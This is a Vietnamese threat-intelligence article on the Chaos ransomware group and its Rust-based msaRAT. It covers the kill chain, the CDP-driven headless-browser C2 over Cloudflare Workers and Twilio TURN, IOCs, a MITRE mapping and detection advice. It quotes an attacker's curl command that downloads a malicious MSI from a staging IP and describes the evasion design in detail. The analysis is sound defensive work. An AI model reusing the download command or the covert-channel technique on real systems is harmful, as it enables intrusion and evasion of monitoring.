Tóm tắt
Tháng 04/2025, FBI Dallas tịch thu 20,2891382 BTC từ ví của một affiliate thuộc nhóm Chaos ransomware — chỉ khoảng hai tháng sau khi nhóm này bắt đầu hoạt động. Đó là tốc độ hiếm thấy: cơ quan thực thi pháp luật thường mất nhiều năm để chạm tới một nhóm RaaS.
Một năm sau, Chaos quay lại với msaRAT — một remote access trojan viết bằng Rust mà Cisco Talos công bố ngày 23/07/2026. Điểm đặc biệt của nó gói gọn trong một câu: tiến trình mã độc không mở bất kỳ kết nối mạng nào. Nó chỉ nói chuyện với 127.0.0.1. Mọi byte rời khỏi máy đều đi ra từ một tiến trình trình duyệt hợp pháp, có chữ ký đầy đủ, hướng tới hạ tầng của Cloudflare và Twilio. Địa chỉ máy chủ của kẻ tấn công không bao giờ xuất hiện trên đường truyền.
Điều này không phải là mã độc giả dạng traffic hợp pháp. Đây là traffic thật sự hợp pháp, do một tiến trình thật sự hợp pháp phát ra, tới một đích thật sự hợp pháp — chỉ có nội dung bên trong là độc hại, và nội dung đó được mã hóa hai lớp.
Hành động ưu tiên: rà soát toàn bộ endpoint tìm tiến trình Chrome hoặc Edge chạy ở chế độ headless kèm cờ remote debugging, đặc biệt khi tiến trình cha là một installer hoặc tiến trình không phải shell người dùng.
Bối cảnh: Chaos là ai
Chaos là nhóm ransomware-as-a-service (RaaS), hoạt động được xác nhận lần đầu vào tháng 02/2025. Số lượng nạn nhân đăng trên leak site tương đối thấp, nhưng nhóm này nhất quán nhắm vào các tổ chức lớn và áp dụng chiến thuật tống tiền kép.
Trang rò rỉ dữ liệu của Chaos ransomware (nguồn: Cisco Talos).
Quy trình vận hành truyền thống của họ: truy cập ban đầu qua email spam và social engineering bằng giọng nói (vishing); sau khi vào mạng, lạm dụng các công cụ giám sát và quản lý từ xa (RMM) để duy trì truy cập, đồng thời dùng phần mềm chia sẻ file hợp pháp để đưa dữ liệu ra ngoài.
Ba điểm về danh tính cần nói rõ, vì rất dễ nhầm khi tra cứu:
Không liên quan tới Chaos cũ. Có một họ ransomware cùng tên tồn tại từ 2021. Nhóm Chaos xuất hiện năm 2025 hoàn toàn không liên quan. Khi tìm kiếm IOC hoặc tài liệu tham khảo, đây là chỗ dễ lấy nhầm dữ liệu nhất.
Nhiều khả năng là rebrand của BlackSuit. Talos đánh giá Chaos mới là một lần đổi thương hiệu của BlackSuit, dựa trên tương đồng ở cơ chế mã hóa, cấu trúc ransom note và bộ công cụ sử dụng trong các cuộc tấn công. Một số nguồn truy tiếp phả hệ này về nhóm Ryuk. Đáng chú ý: các site tống tiền trên dark web của BlackSuit đã bị cơ quan chức năng thu giữ vào tháng 07/2025, ngay trước thời điểm vụ tịch thu Bitcoin được công bố.
Đã được actor nhà nước sử dụng. Rapid7 ghi nhận Chaos từng được nhóm MuddyWater (liên hệ Iran) sử dụng để ngụy trang hoạt động gián điệp thành tấn công vì động cơ tài chính. Với người trực SOC, điều này có một hệ quả rất thực tế: một intrusion gắn nhãn "Chaos" không mặc nhiên là tống tiền đơn thuần, và không nên được phân loại mức độ ưu tiên dựa trên giả định đó.
Timeline
| Thời điểm |
Sự kiện |
| 02/2025 |
Hoạt động của Chaos được xác nhận lần đầu |
| 15/04/2025 |
FBI Dallas tịch thu 20,2891382 BTC (~1,7 triệu USD lúc đó) từ ví bc1q5d8af0crjhlnepjq08muhh55899rf2ktye3sxd, thuộc affiliate có bí danh "Hors" |
| 07/2025 |
Cơ quan chức năng thu giữ các site tống tiền dark web của BlackSuit |
| 24/07/2025 |
DOJ nộp đơn kiện dân sự tại Northern District of Texas đòi tịch biên số Bitcoin |
| 28/07/2025 |
Công bố công khai; giá trị số Bitcoin đã tăng lên hơn 2,4 triệu USD |
| 2025 |
Rapid7 ghi nhận MuddyWater sử dụng Chaos làm vỏ bọc |
| 08/2025 |
Praetorian công bố nghiên cứu chứng minh hạ tầng TURN có thể mang traffic C2 |
| 23/07/2026 |
Cisco Talos công bố msaRAT |
Khoảng cách một năm giữa hai mốc cuối là điều tôi cho là đáng suy nghĩ nhất, và sẽ quay lại ở phần nhận định.
Kill chain
Chuỗi lây nhiễm từ đầu tới cuối (nguồn: Cisco Talos).
Truy cập ban đầu qua email lừa đảo hoặc vishing.
Cài đặt công cụ RMM để duy trì truy cập trong mạng nạn nhân.
Sau khi đã vào máy nhưng trước khi chạy ransomware, kẻ tấn công thực thi lệnh curl tải file MSI từ server của chúng về thư mục ProgramData.
MSI được chạy; custom action CA_Run_EA2AEBC3 kích hoạt sau khi InstallFinalize hoàn tất.
Custom action nạp lib.dll — nhúng trong Binary table của MSI dưới tên Bin_lib_EA2AEBC3 — trực tiếp vào bộ nhớ.
lib.dll là msaRAT. Installer gọi hàm export tên RUN.
msaRAT khởi tạo runtime bất đồng bộ Tokio.
RAT dò tìm đường dẫn cài đặt của Chrome hoặc Edge qua biến môi trường, fallback sang registry.
Khởi chạy trình duyệt ở chế độ headless qua CreateProcessW, kèm các cờ bật cổng remote debugging của CDP.
Gửi HTTP GET tới /json/list/ để lấy webSocketDebuggerUrl, rồi mở phiên CDP qua WebSocket.
Gửi Target.createTarget tạo tab mới, tiếp theo là Page.enable và Runtime.enable để kích hoạt môi trường thực thi JavaScript.
Gửi Page.setBypassCSP để vô hiệu hóa Content Security Policy.
Gửi Runtime.addBinding năm lần liên tiếp, đăng ký các binding: msaOpen, msaClose, msaError, msaMessage, dataAck.
Dùng Runtime.evaluate inject JavaScript nhúng sẵn trong section .rdata vào trình duyệt.
JavaScript gửi GET tới endpoint Cloudflare Workers để lấy cấu hình STUN/TURN.
Tạo RTCPeerConnection và DataChannel, đàm phán SDP với C2 qua Cloudflare Workers.
Thiết lập WebRTC DataChannel qua TURN của Twilio; từ đây Cloudflare Workers rời khỏi đường truyền hoàn toàn.
RAT chuyển sang vòng lặp chờ, lắng nghe sự kiện Runtime.bindingCalled từ trình duyệt qua WebSocket.
Nhận frame lệnh từ C2, giải mã, thực thi qua cmd.exe, trả kết quả về theo cùng đường.
Triển khai ransomware và để lại ransom note.
Bài kiểm tra firewall miễn phí ở bước 3
Lệnh tải MSI đáng được nhìn kỹ:
curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi
Cổng 443 được chỉ định, nhưng giao thức là HTTP thuần, không phải HTTPS. Trong môi trường mà firewall chỉ cho phép traffic dựa trên số cổng mà không kiểm tra giao thức, traffic này đi qua hoàn toàn không bị phát hiện.
Đây là một chi tiết nhỏ nhưng nói lên nhiều điều về cách kẻ tấn công đánh giá môi trường mục tiêu. Họ không cần TLS — họ cần một con số mà firewall sẽ cho qua. Nếu tổ chức của bạn có protocol inspection thực sự, bước này là nơi bạn bắt được chúng; nếu không, đây chính là bằng chứng cho thấy cấu hình firewall theo cổng không còn là biện pháp kiểm soát.
Thuộc tính của update_ms.msi, được cấu hình để giả dạng một bản cập nhật Windows (nguồn: Cisco Talos).
Cấu trúc file MSI với DLL nhúng trong Binary table (nguồn: Cisco Talos).
Phân tích kỹ thuật
Rust và runtime Tokio
msaRAT viết bằng Rust, sử dụng runtime bất đồng bộ Tokio. Talos xác nhận điều này qua các chuỗi nhúng tĩnh trong binary — bao gồm TOKIO_WORKER_THREADS và thông điệp lỗi the number of hardware threads is not known for the target platform — khớp với mã nguồn của cả Tokio lẫn thư viện chuẩn Rust.
Trong bước khởi tạo, mã độc xác định số worker thread: đọc biến môi trường TOKIO_WORKER_THREADS trước; nếu không có hoặc rỗng thì gọi GetSystemInfo lấy số CPU; nếu dwNumberOfProcessors trả về 0 thì đặt worker count bằng 1. Sau đó Tokio khởi động và tạo số OS thread tương ứng qua CreateThread.
Lựa chọn kiến trúc này không phải để cho đẹp. Nhờ Tokio, RAT có thể đồng thời nhận frame từ C2, gửi lệnh CDP tới trình duyệt và xử lý trao đổi khóa mà không thao tác nào chặn thao tác nào. Cụ thể, ngay cả khi quá trình trao đổi khóa ECDH đang diễn ra, việc nhận và xử lý các frame khác vẫn tiếp tục không gián đoạn. Với một implant phải điều phối ba luồng giao tiếp cùng lúc — WebSocket tới trình duyệt, WebRTC ra ngoài, và thực thi lệnh cục bộ — đây là lựa chọn kỹ thuật hợp lý chứ không phải phô trương.
Dò tìm trình duyệt: điểm yếu duy nhất
msaRAT thử sáu vị trí cố định lấy từ biến môi trường, chia cho Chrome và Edge, theo thứ tự ưu tiên, kiểm tra sự tồn tại của file ở từng đường dẫn. Nếu không tìm thấy qua biến môi trường, nó fallback sang tìm trong registry — nhưng chỉ cho Chrome.
Và đây là câu quan trọng nhất trong toàn bộ phần thiết kế: nếu không tìm thấy trình duyệt phù hợp, toàn bộ phần thao tác CDP sẽ không được thực thi.
Đây là điểm yếu duy nhất của msaRAT. Không có Chrome hoặc Edge, không có CDP, không có C2. Vấn đề là — như The Hacker News nhận xét — trên một Windows fleet doanh nghiệp, "cần một trong hai trình duyệt này có mặt và được phép ra ngoài" không phải là yêu cầu khó đáp ứng.
Chuỗi điều khiển CDP
Chrome DevTools Protocol là API gỡ lỗi tích hợp sẵn trong cả Chrome lẫn Edge — công cụ dành cho lập trình viên, hoàn toàn hợp pháp, và không hề có lỗ hổng nào ở đây. msaRAT chỉ đơn giản dùng nó đúng theo thiết kế.
Sau khi khởi chạy trình duyệt headless với cổng remote debugging, RAT gửi HTTP GET tới /json/list/. Trình duyệt trả về một mảng JSON chứa thông tin về các target có thể kết nối (như các tab), mỗi phần tử có trường webSocketDebuggerUrl. RAT mở phiên CDP bằng cách kết nối WebSocket tới URL đó.
Trên phiên đã thiết lập, chuỗi lệnh diễn ra như sau:
Target.createTarget — tạo tab mới
Page.enable và Runtime.enable — kích hoạt môi trường thực thi JavaScript
Page.setBypassCSP — vô hiệu hóa Content Security Policy, để JavaScript inject vào không bị chặn
Runtime.addBinding × 5 — đăng ký các callback thông báo sự kiện giữa JavaScript trong trình duyệt và chính RAT
Bảng chuỗi chứa các tên binding trong binary (nguồn: Cisco Talos).
Năm binding được đăng ký lần lượt là msaOpen, msaClose, msaError, msaMessage và dataAck. Bốn cái đầu chính là nguồn gốc cái tên msaRAT mà Talos đặt cho họ mã độc này.
Sau khi đăng ký xong, RAT dùng Runtime.evaluate — tính năng CDP để chạy JavaScript trong trình duyệt — inject đoạn mã JavaScript nhúng sẵn trong section .rdata. Mã này được nhúng dưới dạng plaintext, không obfuscate, và gồm hai hàm: một hàm khởi tạo kênh WebRTC (chỉ inject một lần, lúc kết nối đầu tiên), một hàm chuyên trách gửi dữ liệu (inject lại mỗi lần RAT cần gửi lệnh, với payload thật thay vào vị trí {base64}).
Signaling qua Cloudflare Workers
JavaScript trong trình duyệt gửi GET tới một endpoint Cloudflare Workers (is-01-ast[.]ols-img-12[.]workers[.]dev) theo đường dẫn /token/v1/{UID} để lấy cấu hình STUN/TURN dạng JSON. Nếu thất bại, window.msaError() báo về RAT và tiến trình dừng.
Hai chi tiết trong request này đáng ghi lại:
Vì trình duyệt chạy headless, User-Agent lộ ra là HeadlessChrome. Đây là dấu hiệu phát hiện rõ ràng nhất ở tầng mạng — với điều kiện bạn có thể nhìn thấy nó.
Header Origin và Referer được ngụy trang thành website chính thức của Microsoft để né phát hiện. Response trả về cấu hình ICE server: STUN server (stun2.l.google.com) dùng để phát hiện IP công cộng của máy nhiễm nhằm vượt NAT, còn TURN server (global.turn.twilio.com) đóng vai trò điểm chuyển tiếp khi không thể thiết lập kết nối P2P trực tiếp.
Vì sao chọn Cloudflare Workers? Talos phân tích lý do rất rõ ràng, và nó đáng để đội phòng thủ đọc kỹ:
Đích đến là hạ tầng của Cloudflare chứ không phải server của kẻ tấn công, nghĩa là IP đích nằm trong dải CDN của Cloudflare và sẽ đi qua rất nhiều allowlist của firewall và proxy mà không bị kiểm tra. Hơn nữa, *.workers.dev là domain nền tảng do Cloudflare cung cấp cho lập trình viên — chặn nó sẽ ảnh hưởng diện rộng tới các deployment Cloudflare Workers hợp pháp, khiến việc chặn trở nên bất khả thi về mặt cấu trúc đối với đội phòng thủ.
Nói cách khác: đây không phải là vấn đề kỹ thuật mà là vấn đề vận hành. Bạn có thể chặn *.workers.dev. Bạn chỉ không thể chấp nhận hậu quả của việc đó.
Ép mọi thứ qua TURN: lựa chọn ngược đời có chủ đích
Để WebRTC hoạt động, hai bên phải thống nhất địa chỉ kết nối và định dạng giao tiếp. msaRAT tạo SDP Offer chứa các tham số giao tiếp, thu thập ICE candidate để xác định đường kết nối tối ưu, rồi POST Offer tới C2 và nhận về SDP Answer. Nếu việc thu thập ICE candidate không hoàn tất trong vòng năm giây, timeout được kích hoạt và tiến trình vẫn chạy tiếp.
Điểm bất thường nằm ở SDP Answer trả về từ C2: nó không chứa ICE candidate nào, và địa chỉ kết nối được đặt là 0.0.0.0.
Trong WebRTC bình thường, đây là cấu hình vô nghĩa. Ở đây nó hoàn toàn có chủ đích. Bằng cách cố tình bỏ đi các ICE candidate vốn luôn có mặt trong giao tiếp WebRTC tiêu chuẩn, kẻ tấn công ngăn không cho kết nối P2P được thiết lập, dẫn tới một thiết kế mà mọi giao tiếp luôn luôn đi qua TURN.
Hệ quả: bằng cách định tuyến traffic qua dịch vụ hợp pháp của Twilio, địa chỉ IP thật của máy chủ kẻ tấn công không bao giờ xuất hiện trong traffic mạng. Và hạ tầng hai tầng kết hợp Twilio với Cloudflare Workers khiến việc truy vết hạ tầng của kẻ tấn công trở nên khó khăn đáng kể.
Đây là chỗ tôi cho là thiết kế thông minh nhất của msaRAT: họ hy sinh hiệu năng của kết nối trực tiếp để đổi lấy việc không bao giờ để lộ địa chỉ. Với một nhóm đã bị FBI tịch thu ví một năm trước đó, đánh đổi này có logic rất rõ.
Mã hóa hai lớp
Theo đặc tả, đường truyền WebRTC DataChannel được bảo vệ tự động bằng DTLS ở tầng transport — do trình duyệt xử lý hoàn toàn, độc lập với mã của RAT.
Nhưng msaRAT còn mã hóa thêm chính dữ liệu bằng cơ chế dựa trên ChaCha-Poly1305 trước khi đưa cho trình duyệt, tạo thành mã hóa hai lớp. Thiết kế này đảm bảo rằng kể cả khi DTLS bị bóc đi, kẻ đứng giữa cũng không đọc được nội dung.
Khóa cho lớp ChaCha-Poly1305 được dẫn xuất qua trao đổi khóa ECDH thực hiện ngay khi kết nối C2 được thiết lập: khi nhận Handshake frame (0xFE) từ C2 ngay sau khi kết nối, RAT nhận public key của server C2, tự sinh cặp khóa của mình, dẫn xuất khóa chung rồi gửi public key của nó trở lại C2.
Với đội phòng thủ, điều này có nghĩa là TLS inspection ở gateway — nếu bạn có — cũng không giúp được gì. Bạn sẽ thấy một payload nhị phân đã mã hóa bên trong một kênh WebRTC hợp lệ.
Kiểm soát luồng và xử lý lệnh
WebRTC DataChannel có buffer gửi, và việc gửi dữ liệu liên tục có thể khiến dữ liệu mới bị rớt. Kẻ tấn công đã triển khai cơ chế hàng đợi và kiểm soát luồng để xử lý: dữ liệu được lấy ra khỏi hàng đợi và gửi đi khi buffer xuống dưới 24KB. Talos đánh giá thiết kế này nhiều khả năng nhằm đảm bảo truyền tin cậy các payload lớn như ảnh chụp màn hình hoặc file.
Về xử lý lệnh, thay vì cấu trúc đơn giản kiểu "nhận số lệnh rồi gọi handler tương ứng", RAT dùng kiến trúc hai tầng: tầng ngoài quản lý trạng thái kết nối, tầng trong xử lý frame. Trong số các loại frame, hai loại mang chuỗi lệnh mà RAT đưa thẳng cho cmd.exe thực thi; kết quả trả về theo đúng đường cũ. Các frame còn lại lo việc mở và đóng kênh, trao đổi khóa, và kết thúc tiến trình trình duyệt.
Tên DataChannel được đặt bằng chuỗi chữ-số ngẫu nhiên dài 5 đến 20 ký tự, sinh bởi hàm genStr(5, 20) — nghĩa là không có tên kênh cố định nào để làm signature.
Kết quả cuối cùng
Luồng giao tiếp giữa msaRAT, Cloudflare Workers, Twilio TURN và máy chủ C2 (nguồn: Cisco Talos).
Sau khi RAT inject JavaScript qua Runtime.evaluate, quyền kiểm soát xử lý chính chuyển sang trình duyệt. RAT chuyển vào vòng lặp chờ, giám sát WebSocket của CDP và liên tục lắng nghe sự kiện từ trình duyệt. Việc thiết lập và ngắt kết nối WebRTC, cũng như nhận dữ liệu, đều do JavaScript chạy bên trong trình duyệt xử lý. Kết quả được chuyển ngược về RAT qua các binding đã đăng ký như window.msaOpen() và window.msaMessage(base64Data); mỗi lần một binding được gọi, CDP phát sự kiện Runtime.bindingCalled tới RAT qua WebSocket.
Điểm cần nhớ: Cloudflare Workers chỉ phục vụ duy nhất việc chuyển tiếp signaling. Ngay khi kết nối WebRTC được thiết lập, Cloudflare Workers rời khỏi đường truyền hoàn toàn. Mọi lệnh C2 sau đó trao đổi độc quyền qua WebRTC DataChannel.
Kết quả của toàn bộ thiết kế này: mọi giao tiếp mạng từ chính tiến trình RAT chỉ giới hạn ở 127.0.0.1, và mọi giao tiếp ra ngoài đều được quan sát thấy như phát ra từ một tiến trình trình duyệt hợp pháp. Vì giao tiếp WebRTC qua trình duyệt là chuyện bình thường ngay cả trong môi trường doanh nghiệp, traffic C2 bị chôn vùi hiệu quả bên trong traffic web thông thường, dưới góc nhìn của firewall và các công cụ giám sát mạng.
IOC
IOC chính thức (nguồn: Cisco Talos IOC repository)
172.86.126[.]18 # server staging, phục vụ update_ms.msi qua HTTP trên cổng 443
is-01-ast[.]ols-img-12[.]workers[.]dev # endpoint Cloudflare Workers, dùng cho signaling SDP
Host-based artifacts
# File và đường dẫn
C:\programdata\update_ms.msi MSI giả dạng bản cập nhật Windows
lib.dll payload msaRAT, nạp thẳng vào bộ nhớ (không ghi ra đĩa)
# Cấu trúc bên trong MSI
CA_Run_EA2AEBC3 tên custom action, chạy sau InstallFinalize
Bin_lib_EA2AEBC3 tên entry trong Binary table chứa lib.dll
# Export function
RUN hàm export duy nhất của lib.dll
# Tên binding CDP (nguồn gốc tên msaRAT)
msaOpen
msaClose
msaError
msaMessage
dataAck
# Ví Bitcoin (vụ tịch thu 04/2025 — nguồn: FBI Dallas / DOJ)
bc1q5d8af0crjhlnepjq08muhh55899rf2ktye3sxd
Behavioral indicators — đây mới là phần dùng được
# Ở tầng tiến trình (vantage point đáng tin cậy nhất)
- chrome.exe hoặc msedge.exe khởi chạy ở chế độ headless kèm cờ bật remote debugging port
- tiến trình cha của trình duyệt là msiexec.exe, một installer, hoặc bất kỳ tiến trình nào
không phải shell người dùng / launcher hợp lệ
- curl.exe tải file .msi về C:\programdata\
- cmd.exe được sinh ra bởi tiến trình trình duyệt hoặc chuỗi liên quan tới RAT
# Ở tầng mạng
- HTTP thuần trên cổng 443 (bước tải MSI) — chỉ bắt được nếu có protocol inspection
- User-Agent chứa "HeadlessChrome"
- Request tới *.workers.dev với path dạng /token/v1/{UID}
- Header Origin/Referer giả mạo website Microsoft trên request đi tới workers.dev
- Kết nối WebRTC/TURN tới global.turn.twilio.com từ máy trạm không có nhu cầu nghiệp vụ
- Truy vấn STUN tới stun2.l.google.com đi kèm chuỗi trên
# Ở tầng loopback
- Traffic WebSocket tới 127.0.0.1 trên cổng remote debugging của trình duyệt
Coverage của Cisco
ClamAV: Win.Downloader.ChaosRaas-10060321-0
Snort 2: 1:66840, 1:66841, 1:66839
Snort 3: 1:301587, 1:66839
MITRE ATT&CK Mapping
| Tactic |
Technique ID |
Technique Name |
Ghi nhận trong chiến dịch |
| Initial Access |
T1566.001 |
Phishing: Spearphishing Attachment |
Email spam làm vector tiếp cận |
| Initial Access |
T1566.004 |
Phishing: Spearphishing Voice |
Vishing |
| Persistence |
T1219 |
Remote Access Software |
Lạm dụng công cụ RMM |
| Command and Control |
T1105 |
Ingress Tool Transfer |
curl.exe tải update_ms.msi |
| Execution |
T1218.007 |
System Binary Proxy Execution: Msiexec |
MSI với custom action |
| Defense Evasion |
T1036.005 |
Masquerading: Match Legitimate Name or Location |
MSI giả dạng bản cập nhật Windows |
| Defense Evasion |
T1620 |
Reflective Code Loading |
lib.dll nạp thẳng vào bộ nhớ từ Binary table |
| Execution |
T1059.003 |
Windows Command Shell |
Frame lệnh chuyển tới cmd.exe |
| Defense Evasion |
T1562.001 |
Impair Defenses: Disable or Modify Tools |
Page.setBypassCSP vô hiệu hóa CSP |
| Command and Control |
T1090 |
Proxy |
Trình duyệt làm proxy cho toàn bộ traffic C2 |
| Command and Control |
T1102 |
Web Service |
Cloudflare Workers làm kênh signaling |
| Command and Control |
T1071.001 |
Application Layer Protocol: Web Protocols |
HTTP/HTTPS ở giai đoạn signaling |
| Command and Control |
T1573.001 |
Encrypted Channel: Symmetric Cryptography |
ChaCha-Poly1305 |
| Command and Control |
T1573.002 |
Encrypted Channel: Asymmetric Cryptography |
Trao đổi khóa ECDH |
| Command and Control |
T1665 |
Hide Infrastructure |
Ép traffic qua TURN của Twilio để ẩn IP thật |
| Discovery |
T1518 |
Software Discovery |
Dò tìm Chrome/Edge qua biến môi trường và registry |
| Collection |
T1113 |
Screen Capture |
Cơ chế flow control thiết kế cho payload lớn như screenshot |
| Impact |
T1486 |
Data Encrypted for Impact |
Triển khai ransomware |
| Impact |
T1657 |
Financial Theft |
Tống tiền kép |
Nhận định
Michael Szeliga, một trong ba tác giả báo cáo của Talos, khi được hỏi vị trí nào cho khả năng bắt được cao nhất, đã trả lời rất gọn: nơi đáng tin cậy nhất là ở host, cụ thể là chỗ trình duyệt được khởi chạy với các tham số đã biết; còn từ góc nhìn mạng thì giai đoạn đàm phán ban đầu chạy qua HTTPS.
Tôi cho rằng câu trả lời đó nên là toàn bộ chiến lược phòng thủ cho lớp mối đe dọa này, vì mọi lớp khác đều đã bị thiết kế của msaRAT vô hiệu hóa một cách có chủ đích.
msaRAT đảo ngược một giả định nền tảng của network security. Chúng ta quen với mô hình "mã độc tạo ra traffic độc hại, giả dạng traffic hợp pháp để lọt qua" — và toàn bộ công cụ phát hiện được xây quanh việc tìm ra chỗ nào ngụy trang chưa hoàn hảo. Ở đây không có ngụy trang nào để tìm. Traffic là traffic hợp pháp: do một tiến trình có chữ ký hợp lệ của Google hoặc Microsoft phát ra, tới hạ tầng của Cloudflare và Twilio, mã hóa đúng theo chuẩn WebRTC. Không có gì bất thường ở lớp vỏ vì lớp vỏ hoàn toàn thật. Chỉ nội dung là độc hại, và nội dung đó được mã hóa hai lớp.
Về vụ tịch thu và khoảng cách một năm. Tôi mở bài bằng vụ FBI tịch thu 20,2 BTC vì nó cần được đọc cùng với msaRAT chứ không tách rời.
Vụ tịch thu là một thành công thật: 20,2891382 BTC từ ví của affiliate "Hors", chỉ hai tháng sau khi nhóm bắt đầu hoạt động, cộng với việc site tống tiền của BlackSuit bị thu giữ. Truy vết on-chain hoạt động, và nó hoạt động nhanh hơn nhiều người nghĩ. Đây là điểm đáng nói khi trình bày với ban lãnh đạo về giá trị của hợp tác quốc tế và blockchain analytics.
Nhưng cũng cần nói phần còn lại một cách trung thực: nó không làm nhóm này dừng lại. Một năm sau, cùng nhóm đó xuất hiện với một RAT viết bằng Rust, kiến trúc bất đồng bộ, mã hóa hai lớp, và một kênh C2 được thiết kế sao cho địa chỉ hạ tầng của chính họ không bao giờ chạm vào máy nạn nhân.
Tôi không cho rằng có quan hệ nhân quả trực tiếp có thể chứng minh được ở đây, và không muốn khẳng định điều đó. Nhưng mô thức thì rõ: khi một nhóm bị truy vết thành công qua hạ tầng và dòng tiền, thứ họ đầu tư tiếp theo là khả năng không bị truy vết. Praetorian đã chứng minh hạ tầng TURN có thể mang C2 từ tháng 08/2025 — kỹ thuật này không phải Chaos phát minh. Nhưng họ là nhóm đưa nó vào một chuỗi ransomware thực tế, và họ có lý do rất cụ thể để làm vậy.
Điểm yếu duy nhất, và tại sao nó không cứu được bạn. msaRAT cần một trình duyệt Chrome hoặc Edge có mặt trên máy và được phép ra ngoài. Về lý thuyết đây là điều kiện có thể loại bỏ. Trên thực tế, trên một Windows fleet doanh nghiệp, đó gần như là mô tả của mọi endpoint.
Liên hệ Việt Nam
Ba điểm tôi cho là đáng lưu ý với môi trường trong nước.
Thứ nhất, cấu hình firewall theo cổng. Bước tải MSI của chiến dịch này — HTTP thuần trên cổng 443 — là một bài kiểm tra trực tiếp. Trong nhiều môi trường doanh nghiệp mà chúng tôi tiếp xúc, quy tắc firewall vẫn được viết theo số cổng, với giả định 443 nghĩa là HTTPS. Không có protocol inspection thì giả định đó sai, và ở đây nó sai theo cách rất tốn kém. Đáng nói là bước này xảy ra sớm trong chuỗi, trước khi msaRAT thậm chí bắt đầu chạy.
Thứ hai, WebRTC đã trở thành nền. Sau vài năm làm việc từ xa, traffic WebRTC từ máy trạm doanh nghiệp là chuyện hoàn toàn bình thường — Teams, Zoom, Google Meet đều dùng nó. Điều này nghĩa là baseline "WebRTC là bất thường" không dùng được nữa, và đó chính xác là thứ msaRAT dựa vào. Cái phân biệt được là tiến trình nào phát ra WebRTC và trong hoàn cảnh nào: một tiến trình Chrome headless sinh ra từ msiexec.exe rồi mở kênh TURN không giống bất cứ hoạt động họp trực tuyến nào.
Thứ ba, cửa sổ phát hiện thực tế nằm trước msaRAT. Chuỗi này bắt đầu bằng phishing/vishing rồi tới lạm dụng RMM — và giai đoạn RMM là nơi nhiều tổ chức thực sự có cơ hội bắt được, vì công cụ RMM lạ xuất hiện trên máy trạm là tín hiệu rõ ràng hơn nhiều so với một tiến trình trình duyệt. Khi msaRAT đã chạy, bạn đã ở phía sau đường cong. Nói cách khác: kiểm soát RMM là biện pháp phòng thủ hiệu quả nhất chống lại msaRAT, dù nó chẳng liên quan gì tới trình duyệt.
Cuối cùng, một lưu ý về phân loại sự cố: vì Chaos đã từng được MuddyWater dùng làm vỏ bọc cho hoạt động gián điệp, một intrusion mang dấu hiệu Chaos không nên được xử lý theo playbook tống tiền thông thường cho tới khi có đủ bằng chứng. Việc dữ liệu bị mã hóa không loại trừ khả năng dữ liệu đã bị đọc trước đó, vì một lý do hoàn toàn khác.
Khuyến nghị
Săn tìm ngay ở tầng tiến trình: cảnh báo trên chrome.exe hoặc msedge.exe chạy ở chế độ headless kèm cờ remote debugging, và trên mọi tiến trình trình duyệt có tiến trình cha là msiexec.exe hoặc một installer. Đây là vị trí phát hiện đáng tin cậy nhất theo đánh giá của chính nhóm nghiên cứu.
Bật protocol inspection thay vì lọc theo số cổng: quy tắc firewall giả định "443 = HTTPS" bị chuỗi này khai thác ngay ở bước đầu tiên.
Kiểm soát RMM: duy trì danh sách công cụ RMM được phê duyệt và cảnh báo trên mọi công cụ ngoài danh sách — đây là cửa sổ phát hiện thực tế nhất, và nó nằm trước khi msaRAT được triển khai.
Chặn hai IOC chính thức (172.86.126[.]18 và endpoint workers.dev) nhưng đừng coi đó là biện pháp kiểm soát — cả hai có thể thay đổi trong một ngày; hãy đầu tư vào phát hiện hành vi.
Giám sát WebRTC theo tiến trình, không theo giao thức: xây baseline xem tiến trình nào trên máy trạm được phép mở kênh TURN, và cảnh báo khi có tiến trình ngoài baseline đó.
Nếu nghi ngờ đã nhiễm: cô lập máy, thu thập memory image trước khi tắt (payload không nằm trên đĩa), và rà soát cả chuỗi ngược lên tới giai đoạn RMM và truy cập ban đầu — msaRAT là bước gần cuối, không phải bước đầu.
Tài liệu tham khảo
